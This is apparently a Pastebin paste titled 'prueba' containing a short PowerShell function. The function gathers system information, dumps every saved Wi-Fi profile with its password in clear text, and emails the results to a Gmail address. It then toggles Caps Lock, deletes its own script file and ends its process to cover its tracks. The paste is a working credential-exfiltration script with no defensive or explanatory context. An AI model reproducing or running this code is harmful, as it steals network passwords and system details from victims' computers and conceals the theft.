SHARE
TWEET

prueba

a guest Oct 17th, 2015 70 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Function sendMail() {$credential=(Get-Credential correo@gmail.com); $info=(systeminfo|out-string)+(netsh wlan show profiles|Select-String -Pattern "All User Profile"|Foreach-Object{$_.ToString()}|Foreach-Object{$_.Replace("    All User Profile     : ",$null)}|ForEach-Object{netsh wlan show profiles name="$_" key=clear}|out-string); send-mailMessage -to 'correo@gmail.com' -subject 'report' -from 'correo@gmail.com' -body $info -SmtpServer 'smtp.gmail.com' -credential $credential;(New-Object -ComObject WScript.Shell).SendKeys('{CAPSLOCK}');Remove-Item code.ps1; stop-process -Id $PID;}
  2. sendMail
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top